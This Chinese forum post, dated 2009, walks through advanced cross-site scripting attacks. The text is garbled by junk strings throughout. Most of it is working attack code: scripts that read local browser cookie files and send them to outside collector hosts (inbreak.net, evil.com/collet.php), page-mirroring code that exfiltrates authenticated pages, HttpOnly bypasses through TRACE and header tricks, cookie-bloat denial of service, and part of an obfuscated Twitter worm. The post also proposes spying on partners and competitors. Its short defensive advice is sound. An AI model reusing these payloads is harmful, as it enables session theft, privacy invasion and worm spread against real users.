XSS的高级利用部分总结 -蠕虫,HTTP-only,AJAX本地文件操作,镜象网页/ [1 [. b2 A% i) }: {: d
本帖最后由 racle 于 2009-5-30 09:19 编辑
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XSS的高级利用总结 -蠕虫,HTTPONLY,AJAX本地文件操作,镜象网页) [2 H) ? n0 T3 K3 l/ @) K
By racle@tian6.com
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转帖请保留版权0 ]$ T9 q/ E6 \4 g$ f
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5 r* u8 |7 m5 v( a" a( U; E-------------------------------------------前言---------------------------------------------------------' o1 }1 M. O" _6 P( D/ {
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本文将撇开XSS语句,JS脚本,如何无错插入XSS语句,如何过滤和绕过XSS语句过滤,CSRF等知识点.也就是说,你必须已经具备一定XSS知识,才能看懂本文.
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( Q0 Y; C, {5 [1 D, d% Z, z如果你还未具备基础XSS知识,以下几个文章建议拜读:2 r$ v$ k2 C9 Q1 v% x. e7 t
http://www.lib.tsinghua.edu.cn/chinese/INTERNET/JavaScript/ JavaScript中文简介4 Z2 ]/ }$ N/ y* V5 `; f8 S
http://www.google.com/search?q=XSS+%D3%EF%BE%E4 XSS语句大全
3 `9 W; w: {; Z+ O8 j( Bhttp://www.google.com/search?q=XSS+%C8%C6%B9%FD XSS语句绕过3 }; b4 o2 d3 u3 u
http://www.80vul.com/dzvul/sodb/03/sodb-2008-03.txt FLASH CSRF
1 T$ \. H3 h" f: k: Hhttp://bbs.tian6.com/thread-12239-1-1.html 突破XSS字符数量限制执行任意JS代码
4 c9 X- c* Y! d1 Lhttp://bbs.tian6.com/thread-12241-1-1.html 利用窗口引用漏洞和XSS漏洞实现浏览器劫持, x2 l$ J. V. R9 O- L% c# A
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如果本文内容在你眼里显得非常陌生,或者难以理解,或者干燥无味,那正代表你对XSS了解甚少.9 R! d, y5 s+ i2 i/ `" p" W
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希望天阳会员本着技术学习为主的精神,真正的学习和掌握每门安全技术.因此,如果你来天阳是因为你想真正学会一些什么东西的话,请静下心来,看懂,看透,实际测试弄通本文.那么你对XSS的驾驭能力,自然大幅提高.# E# R8 \2 u! ~* M- k
G5 V5 z! `% w% E如果你认为XSS是无足轻重的问题,只不过是常见的一个弹窗,或者你认为XSS作用域狭窄,或者你认为XSS威力微不足道,那么请先看看以下片段:Twitter遭遇疯狂XSS 6次XSS蠕虫版本变化,% g. ^5 @6 ]4 E9 r0 c
# U8 g I9 z- y* ]1 WBaidu xss蠕虫 感染了8700多个blog.媒体影响力,关注度巨大
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QQ ZONE,校内网XSS 感染过万QQ ZONE.
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OWASP MYSPACE XSS蠕虫 20小时内传染一百万用户,最后导致MySpace瘫痪( R7 ~6 a7 X7 Y% s* n
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复制代码------------------------------------------介绍-------------------------------------------------------------8 @3 K8 d- f2 G$ `4 P
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什么是XSS?XSS又叫CSS (Cross Site Script) ,跨站脚本攻击.它指的是恶意攻击者往Web页面里插入恶意html代码,当用户浏览该页之时,嵌入其中Web里面的html代码会被执行,从而达到恶意用户的特殊目的.XSS属于被动式的攻击,因为其被动且不好利用,所以许多人常呼略其危害性.
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# i5 U0 L. W9 S1 I. \跨站攻击有多种方式,由HTML语言允许使用脚本进行简单交互,入侵者便通过技术手段在某个页面里插入一个恶意HTML代码——例如记录论坛保存的用户信息(Cookie),由于Cookie保存了完整的用户名和密码资料,用户就会遭受安全损失.当然,攻击者有时也会在网页中加入一些以.JS 或.VBS为后尾名的代码时,在我们浏览时,同样我们也会被攻击到.
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如何寻找,如何绕过各种限制,成功无错的执行XSS代码,我们在这里并不讨论.相关的文章在网上也有很多.
/ \ d/ Z) A" ~1 m$ n' ?6 d复制代码现今XSS替代了SQL-INJECTION,成为web security课题的首位安全问题.XSS已经成为WEB安全的重要课题.; b! c ?1 q7 d' L: C8 ~
我们在这里重点探讨以下几个问题:$ d! Y, v2 L/ Z6 Z3 D/ ]9 @9 ?# [
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1 通过XSS,我们能实现什么?9 H+ B8 C3 K) w. W5 a
5 @. O, B# D8 b& @8 g2 如何通过HTTP-only保护COOKIES. 又如何突破HTTP-only,又如何补救?+ y' M, m( Z M4 }
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3 XSS的高级利用和高级综合型XSS蠕虫的可行性?
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4 XSS漏洞在输出和输入两个方面怎么才能避免.4 V, E9 {2 m' g8 Y1 U: G( V
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------------------------------------------研究正题----------------------------------------------------------8 U5 l L7 W2 l% n9 Y
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, e+ v8 M3 W$ S; u5 r c通过XSS,我们能实现什么?通过XSS,我们可以获得用户的COOKIES等信息,模拟用户本身进行HTTP提交,读取客户端本地文件,欺骗社工.结合以上功能,我们还能写出综合高级蠕虫.
4 |- @2 {" F+ {' H复制代码XSS的高级利用与及综合性XSS高级蠕虫:我们主要讨论XSS在不同的浏览器下的权限限制&&XSS截屏;镜象网页,http only bypass(Cross-Site Tracing XST).写出我们自己的高级XSS蠕虫
G* D" F" b; ]/ U$ F复制代码XSS漏洞在输出和输入两个方面怎么才能避免.. }' y; Z% {0 G- H" h! k7 y2 G
1:为网站各个动态页面分安全等级,划分重点和次重点区域,分等级采用不同的输入限制规则.' R% R5 O7 b! @, [& g1 W; d" {
2:严格控制输入类型,根据实际需求选用数字,字符,特殊格式的限制.
3 n- b( ^6 i) }6 Y( @3 c8 A3:在浏览器端输出时对HTML特殊字符进行了转义,常见采用htmlspecialchars,htmlentities.但是过滤了特殊字符,并不意味就是安全的.很多绕过方法都是争对单纯过滤进行的,譬如URL,8进制,16进制,String.fromCharCode转编码,UBB绕过等.因此应注意每处接受动态输入的代码审计.数据保存在innertxt,标签属性均应处于“”内.
0 v3 m/ Q% } J4:Http-only可以采用作为COOKIES保护方式之一.
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(I) AJAX在不同的浏览器下的本地文件操作权限 读取本地的COOKIES,常见的敏感文件如:FTP的INI,etc/shadow,各种第三方应用程序的敏感文件等,并且将内容反馈给攻击者)
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+ H* X" Q7 Q. c) k- O我们可以参考空虚浪子心的两篇文章,与及XEYE TEAM的统计信息: 1: ie6可读取无限制本地文件.ie8以及相应版本的trident内核浏览器对ajax本地执行时的权限控制得很死的,看来MS对IE这类安全风险比较重视。(这有一些问题,随后修正!)
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! |( ~7 l- w# _0 A* _ 2: ff 3.0.8及以下版本允许本地执行的ajax访问当前目录下的文件内容。其他目录暂无法访问。
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3: opera9.64及以下版本允许通过指定url为file://协议进行访问;如果文件在当前目录下,则不需要指定file://协议;如果文件在同一盘符下甚至可以超越目录的方式访问:../../boot.ini。
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+ S" ?. ?4 G0 j! f" K 4: 基于webkit内核:google chrome、遨游3.0、safari等浏览器对本地执行的ajax权限没做任何访问限制.5 o, C/ U( N6 K' D
复制代码IE6使用ajax读取本地文件 <script>, ]- m y: k* @
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8 v& H8 p- A6 a8 R7 Y function ajax_obj(){
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var request = false;
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if(window.XMLHttpRequest) {5 s- b# ^1 L/ W- j
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var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0',
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return request;" x& J' @6 y* y; ~2 _$ D
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var _x = ajax_obj();8 `$ T6 p+ R3 z5 K
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function _7or3(_m,action,argv){. i) |# z: ]3 P
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_x.open(_m,action,false);) L: a7 N. G' ~' `3 D# r
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_x.send(argv);
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alert(txt);
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</script>
. u- z/ C: g3 B1 C9 u8 N复制代码FIREFOX 3使用ajax读取本地文件,仅能读取同目录,及其下属目录下文件. <script>; \9 @9 \2 S* o, d! Z& a3 W0 k7 Y' y
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function $(x){return document.getElementById(x)}8 ]6 ?) B% d& v1 ]. x
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1 R5 ~3 J) ?- r- V( ` D) |6 M function ajax_obj(){
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var request = false;* K# \2 {4 T2 a
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# d% {3 I; [5 }- R- h for(var i=0; i<versions.length; i++) {
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6 r$ k2 a( e8 {$ m request = new ActiveXObject(versions);
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return request;: S. W+ @9 s9 [9 z' m* }4 t @! g
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( D6 f8 [; S# R, ?0 l' E2 O# X1 A# p _x.open(_m,action,false);; Y1 Q) h& Z& ^7 F
3 o, \# p3 a# y& }3 f: c. y* ] if(_m==" OST")_x.setRequestHeader("Content-Type","application/x-www-form-urlencoded");# j- j+ j/ W# j( v
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return _x.responseText;
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}
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+ P0 X/ j; l9 R+ Z# G8 A) t. Y0 _* u var txt=_7or3("GET","1/11.txt",null);3 P9 D! [' g$ R5 L: O% S* j
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9 P9 c2 `% S, l </script>
$ J8 h- q/ [( n2 f5 e复制代码Google Chrome使用ajax读取本地文件Chrome的cookie默认保存在"C:\Documents and Settings\administrator\Local Settings\Application Data\Google\Chrome\User Data\Default\Cookies”
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3 v. u7 F/ d6 _1 QChrome的历史保存在"C:\Documents and Settings\administrator\Local Settings\Application Data\Google\Chrome\User Data\Default\History"8 ]) f2 Z8 P' e( K
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<? 7 Z( h0 J: B9 _ s% ?" W' ~$ z
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/* 4 y! x- v4 ~8 b' T; `
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Chrome 1.0.154.53 use ajax read local txt file and upload exp
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www.inbreak.net
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$ u# o, [% v$ F Y author voidloafer@gmail.com 2009-4-22
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http://www.inbreak.net/kxlzxtest/testxss/a.php get cookie and save. $ i) G1 ^+ F' M- u
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& s. r9 M# Z; mheader("Content-Disposition: attachment;filename=kxlzx.htm");
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% b; A) y! ^- wheader("Content-type: application/kxlzx"); 6 }3 t& w l; K9 s$ X" b7 s
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/* ) @3 }8 r$ ?4 ]: V! m+ K8 d0 b
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set header, so just download html file,and open it at local.
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?>
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3 s& q( R7 {% f" A<form id="form" action="http://www.inbreak.net/kxlzxtest/testxss/a.php" method=" OST"> . q* e4 p% |6 ~) w
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<input id="input" name="cookie" value="" type="hidden">
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9 E. y/ z: |" P, ~/ m<script> ! I L- P' n2 H6 y
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function doMyAjax(user)
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# T* A* T! \8 y5 Y" I Dthe cookie at C:\Documents and Settings\kxlzx\Local Settings\Application Data\Google\Chrome\User Data\Default
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$ ~: M) l6 m5 Z/ pand the history at C:\Documents and Settings\kxlzx\Local Settings\Application Data\Google\Chrome\User Data\History
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; C2 t3 h0 Z- |4 U/ @3 H- ~# A+ u `var strPer = 'file://localhost/C:/Documents and Settings/'+user+'/Local Settings/Application Data/Google/Chrome/User Data/Default/Cookies?time='+time; 6 J1 j/ V& J7 g6 G6 d/ ~% G
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1 l; f% Q" v8 k+ cstartRequest(strPer); 1 x# f& |* Q; v; m+ k& n
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} ) C+ g. u+ r( g) k% F/ y1 _( n( H" x
6 Z6 h5 X9 ^- f; {; C4 X
! X1 _6 y. I9 f, ?" e. C- e
! P4 p0 n8 i9 J' `5 Z$ H9 T9 L$ xfunction Enshellcode(txt)
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f. S3 l* L. s{
9 ^( Z7 a' X" P: |& A5 {3 O5 M) b, h9 F/ e: d
var url=new String(txt);
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var i=0,l=0,k=0,curl=""; : F& p4 s3 g. e& @+ ~' w( B: E
: c$ R" K$ e: |' ?! i7 q; i* E% nl= url.length;
( w K3 N7 x% z2 a, G' B- ^4 B; E* V( B$ |
for(;i<l;i++){
& M1 t3 [$ h; e3 T
* q3 v, Z# y0 z8 Y w. o1 b6 Nk=url.charCodeAt(i); ( k' u# `; X3 X( Q; }
' J1 Z: h& W7 H2 t$ Z7 v7 k% n
if(k<16)curl+="0"+k.toString(16);else curl+=k.toString(16);} 5 ^2 {. K2 O5 x: U0 _
- ~; v+ A7 V7 W1 ?
if (l%2){curl+="00";}else{curl+="0000";} 1 w) O s" ]# S+ B. @: T/ m& x
! v/ z9 g, _# o& U. G9 `
curl=curl.replace(/(..)(..)/g,"%u$2$1");
) {# ]1 B" T) X$ C6 L# w
) h7 n' k, J/ K% \return curl; . f. L: \) I* s3 H @$ L
$ }& i2 L% l4 O' {& I3 J; ?+ _
} 4 d. Y9 @! D; s( `
2 _6 \9 `; p1 ]! u1 ?$ i * ^$ l6 e/ w6 l' X% C' z- J
7 n% J$ s& z( V" u% D3 n
* ~8 a2 ]. z4 ]
+ j; j4 e8 n- ^4 [$ nvar xmlHttp;
5 ~8 g8 }6 e; @) b! P% O5 }, C$ H8 X9 A
function createXMLHttp(){ 6 _9 g" n; l) t' o$ [/ W% d% a
3 |+ a" ~# J+ m) P: K if(window.XMLHttpRequest){ * b* W2 V. L& ~' v: W9 V, Q
# ]+ x, I( F* }* R4 [0 d0 c- C6 }xmlHttp = new XMLHttpRequest(); . r( s F. [- h! z
, `/ P6 O0 I9 t: ~ }
0 K: F7 V: V0 O. C% g: X5 N. v+ ^( E/ o3 ^
else if(window.ActiveXObject){
$ @0 g$ k \& v6 u8 b" e) G% ~
+ D7 ~; s" }% g J( V) X' D! U1 k [xmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
8 H: Q1 L1 F; J
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- G8 J. H+ S: G4 t4 s# a% ]}
1 ? s0 q" p' v
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7 n1 _3 s- f# D6 s. `- E
function startRequest(doUrl){ ; j+ L9 Z6 K6 v6 a f
5 r5 k a" g& g, C ; e2 f/ [ Q( T2 x+ i
7 U( [% I4 f9 n2 S1 a$ T7 w& ^
createXMLHttp();
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xmlHttp.onreadystatechange = handleStateChange; 3 z9 P/ }! @9 `0 a
+ M7 Q/ c U' `2 u" S: }% u
7 U! e- J+ o0 ~9 b9 F
3 t: n) G7 g# X8 A xmlHttp.open("GET", doUrl, true); # a0 t7 i3 w. O/ p; |. }5 a1 i d
! M; ^: [1 V6 Y9 y! i( ?( M% I# ?/ P9 u, w- N4 A9 w
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xmlHttp.send(null);
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# s/ S' O0 h& k- ?' G: S# E/ d( \' v6 i) g
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9 h9 N( F& o& x* k' p; @/ f- \+ _) |4 Z
}
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6 R c r9 E0 n7 I2 r1 N! m$ u5 R5 x# G3 i* w
function handleStateChange(){ " U ?0 T' ?. }6 B* ?& C3 i2 l
/ C3 u2 b9 M/ y& l/ M+ k8 m8 N: Z if (xmlHttp.readyState == 4 ){
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* `5 C' W7 ^; k0 O( ?0 y7 M var strResponse = ""; 9 T* ]3 f# m# K
K5 U/ G/ w6 q. h3 g' ]# l setTimeout("framekxlzxPost(xmlHttp.responseText)", 3000);
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" m+ _9 s# P% _
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4 _. b5 T6 M5 w' Y3 o, H. U3 N$ M. W7 h
function framekxlzxPost(text) , v c9 @# g* B! f; e* R
: M- X3 \3 S2 r3 f{ 7 O v% r; Q5 u+ S Z0 |+ p. r
+ B/ O2 e9 c. k2 ]" j3 Y
document.getElementById("input").value = Enshellcode(text); : i! s+ f( i7 W8 T$ \
* z% |. J7 V' z& ?% U$ h& m7 i
document.getElementById("form").submit(); . l V7 J6 [8 B8 ]( t9 E2 t
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} : u& C. |2 ]: x _
. u: R7 l$ H) S% x0 f/ z& U6 l 5 r P+ j! B- h1 Z% |1 ^
" u+ U( m5 f! H/ t4 r9 IdoMyAjax("administrator"); / U( T9 p! k; k3 y' y/ P4 J; N& q+ \
7 o2 _; f5 G3 O7 i. u! X 2 ]$ T& n. _& H2 |: s5 Z: W
+ I- z$ i4 G$ J
</script>
. R' p6 Y( X0 w- d: {% ? s复制代码opera 9.52使用ajax读取本地COOKIES文件<script> ; z' J6 R f& r2 H
) C) M7 d- S. w: B% W% ]var xmlHttp; # W: n ] H) `
) ?$ {" F5 k* U& Q5 Tfunction createXMLHttp(){
9 l# M0 }, d. o+ j2 s/ p2 l
) J5 J7 w1 h) d* E% Q9 c if(window.XMLHttpRequest){
4 ^& E6 l5 h; x! M
+ r% s n: D' N/ y+ U) R xmlHttp = new XMLHttpRequest();
+ m# e$ s5 X/ t; D; E
2 V) ]. A0 P4 H: U8 g0 e }
9 A" r$ g! X3 j& y* |- X8 K0 {7 Z* m; @# U& j& p
else if(window.ActiveXObject){ ; g) J1 X5 x1 K
9 G4 }6 ]4 {$ Q xmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
. J+ n# J7 c- J& D/ a/ n( o! `/ z- Z: H8 n/ A8 [
}
' A( v* o8 c+ |) y
% i" d) n3 n1 _' ~ `}
3 Y0 Y6 [7 D$ e+ E
/ t$ v1 L+ l9 S7 e" C- g 0 H/ V/ W9 L& w. }( N% H- ?' q
/ ^- V* a `1 \9 kfunction startRequest(doUrl){ & d( u& C" ]) `( P0 i
- y3 ]$ j- o( T0 ^. \. b 6 S" r& K2 g# p
) v/ B6 x: w: I- `, ]8 d createXMLHttp();
$ h) g0 M- ]2 C) f+ P" Z; J: y% V# h1 w
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. Q0 A- i+ O- x xmlHttp.onreadystatechange = handleStateChange;
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! @5 P: `( ?# p! }- ^2 N) L xmlHttp.open("GET", doUrl, true); # H/ Q% h7 M4 b( G" E
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xmlHttp.send(null); ( h0 y. a q, o! P/ x
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^1 ]- G1 B8 d1 e) E
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}
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y2 f4 U& }1 n$ f9 F7 O) Q" O4 C( C
function handleStateChange(){
$ e! x0 t* K! c# j1 n$ h
" l6 v) l- P) U/ N2 q( Z+ h& u( G6 h G if (xmlHttp.readyState == 4 ){
1 {9 [* k- q% ~2 a; r3 j& k/ n- t2 q/ j$ k7 V
var strResponse = ""; - p" p" \* i# ^) O7 K
/ M+ h5 u8 @4 x' ^' k
setTimeout("framekxlzxPost(xmlHttp.responseText)", 1000);
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$ z8 @% y0 G( {7 Z# u% s - Y4 J7 V8 F) z
" I/ t4 p5 i8 L
}
8 x, k9 ]9 p1 G- L; l+ \% e
0 s. k- X/ r; g& ^% \: r5 n}
1 w+ q' H$ j6 i) {
+ o3 L& V9 N9 w, P1 Y; U 5 L* m4 h! j' g+ g' y5 A
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function doMyAjax(user,file) # c! P& X0 R: T
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var time = Math.random();
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2 U) L: c4 O/ ~( \# O0 z
var strPer = 'file://localhost/C:/Documents%20and%20Settings/'+user+'/Cookies/'+file+'?time='+time; # S5 r; c3 B* X, o, K/ r ] ?' d
/ [- _7 T+ f5 m. b
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# d; v% z$ p( M startRequest(strPer); ! q, a. m3 u# W
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}
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3 N$ Z/ l, T% i# m1 n& g2 rfunction framekxlzxPost(text)
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5 N! y, v1 o1 D# ]# c5 a
document.getElementById('framekxlzx').src="http://www.inbreak.net/kxlzxtest/testxss/a.php?cookie="+escape(text); % d5 K7 h3 P7 q
8 h1 K/ F5 w% Y* e G alert(/ok/);
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} h/ j: I+ l0 C! s1 K" i2 m* \8 f
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+ c4 C* e' G% x$ G% z5 kdoMyAjax('administrator','administrator@alibaba[1].txt'); ( z9 [" C4 h- _0 i: D3 z) V
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( P- _1 v9 |- E# f0 n* s8 p</script>+ R& F+ J2 Z8 a* V% j$ U
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4 @9 \& L+ F0 A- e4 d5 Z0 Z' U Y3 O5 B' {
6 T% t- |' J+ [1 w, j) @a.php7 \3 s/ U; T% |- `7 w
& ]3 R0 [' C$ n4 _! v& B% |" h# i
' y. c0 L' R' X<?php ( X, F& e) b8 P4 x, b
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# R1 _0 c6 k/ Y* e) ?' R
$user_IP = ($_SERVER["HTTP_VIA"]) ? $_SERVER["HTTP_X_FORWARDED_FOR"] : $_SERVER["REMOTE_ADDR"];
* \8 _6 N8 g$ X4 a* L
5 I- h, |% j3 b( k+ w$user_IP = ($user_IP) ? $user_IP : $_SERVER["REMOTE_ADDR"]; 5 J. D# g. p- S A6 o
1 x; _7 A3 n% N8 ]' Z3 s/ }$ U/ I
# m; c0 X- ], M. |$ |1 e
& `/ W% `6 Q6 u8 j0 p4 O% h+ u$fp = fopen($user_IP.date("Y-m-d H:i:s")."cookie.txt","wb");
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4 Y: } Y5 t% K& P; dfwrite($fp,$_GET["cookie"]);
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fclose($fp);
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?> % h3 B6 c0 g' P0 D. f, C
复制代码(II) XSS截屏-镜象网页与XSS实现DDOS:1 U# l7 d( d c% O/ _5 x; [3 A( J) G7 x1 V
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或许你对你女朋友的校内网里的好友列表感兴趣,又或者你对你的客户部竞争对手的电话通信记录感兴趣,那么这个由XEYE TEAM提出的新想法,对你就有用.! T* |6 k* z, _
利用XSS获得指定的受控者授权状态下的页面源代码,再传发到目标页面,处理好相对路径,那么攻击者就能截取任意一个受控端的授权状态下的镜象网页.达到类似远程控制程序截屏的功能.
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代码片段://xmlHttpReq.open("GET","AWebSiteWhichYouNeedToCatch.com",false);
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) S: L% d- k$ z9 Q/ J9 c6 r//xmlHttpReq.open("GET","http://friend.xiaonei.com/myfriendlistx.do",false);
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3 d' `: n- u$ S//xmlHttpReq.open("GET","http://chinatelecom.com/mylistofnopermonth.jsp?no=139xxxxxxxx",false);; w! @5 k N2 X3 u- R: q f
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function getURL(s) {! K5 |# v% Z- r' e& h9 l7 k0 p
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var image = new Image();
; W7 m0 Z& g2 N- {* B1 I3 `$ b7 ]
) x, r( _. x1 Kimage.style.width = 0;
9 F# D8 F: m5 A
9 t) I) |/ P3 o, q) `7 l$ Oimage.style.height = 0;2 Y- z- v0 i1 o9 [
$ T v( c0 j+ n" H, }2 ^5 x/ G* e$ m- ^image.src = s;' d( Y' ^! s T4 U9 H& y/ M h! v
+ P' B+ }# A7 o- r+ ^
}; E s1 q% O. J6 u
) r7 Y8 c ^ v( `; E" ~ [! I jgetURL("http://urwebsite.com/get.php?pagescopies="+xmlHttpReq.responseText);4 u; u2 A) S+ i! c- e( t
复制代码XSS也能大材小用DDOS? 利用XSS操作COOKIES,导致HEADER部分过大,引发IIS或APACHE等服务端CRASH或者拒绝响应.生效时长与COOKIES允许保存时间相等.
K1 H7 k# X7 q这里引用大风的一段简单代码:<script language="javascript">
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var metastr = "AAAAAAAAAA"; // 10 A
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var str = "";( @7 {$ N- z8 {: T
4 n7 z# k9 @" z! r% O+ Fwhile (str.length < 4000){7 D( _/ `3 Z9 h7 `
7 v, L; ]3 h! H! `# N0 N! _! A str += metastr;
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. }, C5 f) R$ c. a/ Y7 H}
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document.cookie = "evil3=" + "\<script\>alert(xss)\<\/script\>" +";expires=Thu, 18-Apr-2019 08:37:43 GMT;"; // 一些老版本的webserver可能在这里还会存在XSS
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</script>
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5 {4 U) ~# l% c详细代码请看:http://hi.baidu.com/aullik5/blog ... aeaac0a7866913.html
+ E: Q/ x: u$ R# E+ \ P/ E0 E复制代码如果你觉得XSS用来DDOS太可惜的话,这里也提供另外一篇文章供你参考,随与XSS无关,但是却也挺有意思.0 {* E$ ~5 {. G6 W5 n2 n
server limit ddos利用随想 - 空虚浪子心 http://www.inbreak.net/?action=show&id=150
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假设msn.com出现了问题,被XSS了.并且攻击者把COOKIES 设置成yahoo.com的.那么所有访问msn.com的用户将无法访问yahoo.com.
- H6 j: V" B3 v" a$ i攻击者在自己的网站上iframe了server limit ddos,目标设置为竞争对手myass.com,那么所有访问过攻击者网站的人,将无法访问其同行竞争对手myass.com的网站,这样不很妙么?呵呵.. K9 H1 U0 ~6 A# ]$ t$ o
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(III) Http only bypass 与 补救对策:7 y S: M& e5 F0 K: k
1 n; U; y! s" j) R% {什么是HTTP-ONLY?HTTP-ONLY为Cookie提供了一个新属性,用以阻止客户端脚本访问Cookie.
9 L3 N9 A1 y8 P; _以下是测试采用HTTPONLY与不采用时,遭受XSS时,COOKIES的保护差别。<script type="text/javascript">
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<!--
9 J4 ~. Z5 ]- \) {; D4 ]6 b. \4 m5 ^* C
function normalCookie() { % f; j- j1 ?- k; H0 q" z; w: @
% c$ X$ d" W5 m. X/ k1 ydocument.cookie = "TheCookieName=CookieValue_httpOnly"; - _, l8 ]" z/ Q% p
8 A" u9 E8 `& J9 g8 E
alert(document.cookie);0 w7 J% J, f8 H
& t1 R& h" Y0 X. H}
# x c" {. V5 ]2 |, J5 M5 s3 P) I- W; ]% L* W; H1 x1 {: O! u
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6 |, ]6 c. C0 a! J6 B, `. }
, i, s; F6 D) b& C7 [' X7 R( Dfunction httpOnlyCookie() {
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& T: Q" I1 N0 i2 N5 p' K- J. W9 Q' Bdocument.cookie = "TheCookieName=CookieValue_httpOnly; httpOnly";
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alert(document.cookie);}# r! G* C) S; m4 i* r
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//-->
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</script>
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x6 q0 \/ N( b<FORM><INPUT TYPE=BUTTON OnClick="normalCookie();" VALUE='Display Normal Cookie'>; S7 d* @1 G8 ^& d
* W' J( J$ F& n) a( F) |# t- P<INPUT TYPE=BUTTON OnClick="httpOnlyCookie();" VALUE='Display HTTPONLY Cookie'></FORM>* K5 S$ s! l/ r6 s; L" J5 X
复制代码但是采用HTPPONLY就安全了吗?不一定.采用TRACE获得HEADER里的COOKIES:<script>+ I8 f- d7 Q9 y, J* q9 g
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+ C1 s4 j A+ u! u+ l, p( _+ w
var request = false;
! ]( T# [9 q" d* Q+ M% G% c( \% a1 [& [2 X* \
if(window.XMLHttpRequest) {
l% S7 u* ]5 l0 `8 \
8 i! M& n1 J1 y: [2 b+ V# [4 B request = new XMLHttpRequest();
2 ], {3 z+ a2 U9 M4 u' q' o; I0 O: c4 M# ^
if(request.overrideMimeType) {7 [& j+ G2 A( w- {! y' R- ~
. I* u1 g/ o' @1 B; ]1 D- K) m
request.overrideMimeType('text/xml');
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! s& k) o. \) |
} else if(window.ActiveXObject) {" z4 T8 W7 J! T/ B; ~
7 A8 Z% |6 O" f/ R6 L var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0','Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
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for(var i=0; i<versions.length; i++) {
% F ^( z! ~, Q. |8 _" F, {) b+ }- I4 L/ K* g; U
try {
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request = new ActiveXObject(versions);& E0 @1 Q$ Q/ c: S
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} catch(e) {}( p9 c$ A' i# A* L+ t8 _- Z( j* v
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! c1 _. A$ |6 }: S+ A' uxmlHttp=request;
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8 J: x$ B0 l+ A. }# e6 r" lxmlHttp.open("TRACE","http://www.vul.com",false);
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v- i/ c# ]) X9 O1 ^: mxmlHttp.send(null);
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6 Y9 \' A* t( _xmlDoc=xmlHttp.responseText;9 t4 c6 [& @5 U+ R1 c
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alert(xmlDoc);& [( c1 W& Q8 L: G- U% t* a% t
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</script>2 C! U2 G+ W. T% {; g
复制代码但是许多网站并不支持TRACE调试命令,那么我们还可以通过访问phpinfo();页面,筛选带有COOKIE的字段值.<script>
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9 a8 a$ `- Z2 O5 W* s1 u4 [' Mvar XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");+ n, _ ^" W# |8 Q% c! F, [; Z
# ]8 }9 n4 C( |& v: g/ W
XmlHttp.open("GET","http://www.google.com",false);$ _/ x8 A/ `+ n$ u3 \, \7 p7 z& q
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XmlHttp.setRequestHeader("Host","www.evil.com/collet.php");
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XmlHttp.send(null);! j& g% q' h H6 e, N `. g
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var resource=xmlHttp.responseText
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$ U9 `8 t3 C3 V! r* x: `. S: }resource.search(/cookies/);
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......................9 R6 `7 x" j( v: X# m
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</script>
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% p* }7 G9 u+ J; B M! ^, J
: \0 x" l- V# N( B. a) o! A) e! ?) o: q% k3 _
如何防止对方采用TRACE访问你的网站?APACHE可以采用.htaccess来Rewrite TRACE请求
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[code]2 q7 S8 w) d( R' G" K$ Q1 E# u8 R
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RewriteEngine On; q+ ~% ?9 M1 n+ K6 C
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RewriteCond %{REQUEST_METHOD} ^TRACE
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* P7 i. [; w5 B/ h! |RewriteRule .* - [F]
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3 T3 I; d7 e, E# v9 [0 f" O3 m; O# C1 i8 x
Squid可以添加以下信息到Squid configuration file (squid.conf),屏蔽TRACE请求' g' ^ L; y* d: a$ f5 ?
" I6 g2 p* \+ Bacl TRACE method TRACE2 m9 I [! [! z m! ?
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- e& q Z# n9 _9 @http_access deny TRACE
' b) i% }( A' ~+ Y复制代码突破还可以采用XmlHttp.setRequestHeader.通过setRequestHeader,把COOKIES等信息转向到目标页面.<script>* i& n! _9 z, P _+ i
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var XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");* t; ~: r" e5 R6 S# J# U& k5 O$ b
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XmlHttp.open("GET","http://www.google.com",false);
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! r, i. E% p a2 ?; X2 m- BXmlHttp.setRequestHeader("Host","www.evil.com/collet.php");
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! D$ O+ v6 @% I/ xXmlHttp.send(null);
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</script>+ ?$ O& L% i/ q* v
复制代码当Apache启动了mod_proxy,还可以使用proxy方式作为中间人方式获得受保护COOKIES.<script>' f1 b9 Y( i3 x; y2 F
0 x+ G. x5 z9 b" o1 y9 t; gvar XmlHttp = new ActiveXObject("Microsoft.XMLHTTP"); P# x4 h7 l. R) q% c# O
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$ Q. h6 ]' j/ v+ Z" O- iXmlHttp.open("GET\thttp://www.evil.com/collet.php","http://www.vul.site/wherever",false);' H6 c e; A; Y$ t
2 D) [& K7 L' @5 V% z8 b3 NXmlHttp.send(null);; C4 |) N |; q
_! P: z# o& o0 Y& f3 n<script>" N: N& {2 R+ {5 ?$ F0 p" x
复制代码(IV) 综合性的高级XSS蠕虫:什么是XSS蠕虫,他的实现,传染,工作原理,常见作用都是什么.' G) g2 B7 p4 B( M
复制代码案例:Twitter 蠕蟲五度發威: H$ p' @9 f' Y
第一版:
, \1 [" S$ \# j8 U- J- m 下载 (5.1 KB)
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1 |9 w: F3 K7 j s) B% i6 天前 08:272 U& E: x4 ? \3 D' c% r0 ?/ t
. a3 ?/ [# U/ W- j' Z第二版: 1. var _0xc26a = ["Msxml2.XMLHTTP", "Microsoft.XMLHTTP", "connect", "toUpperCase", "GET", "?", "open", "", "Method", " OST ", " HTTP/1.1", "setRequestHeader", "Content-Type", "application/x-www-form-urlencoded", "onreadystatechange", "readyState", "send", "split", "join", "'", "%27", "(", "%28", ")", "%29", "*", "%2A", "~", "%7E", "!", "%21", "%20", "+", "%", "replace", "innerHTML", "documentElement", "exec", "Twitter should really fix this... Mikeyy", "I am done... Mikeyy", "Mikeyy is done..", "Twitter please fix this, regards Mikeyy", "random", "length", "floor", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%63%6f%6e%74%65%6e%74%2e%69%72%65%65%6c%2e%63%6f%6d%2f%6a%73%78%73%73%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "mikeyy 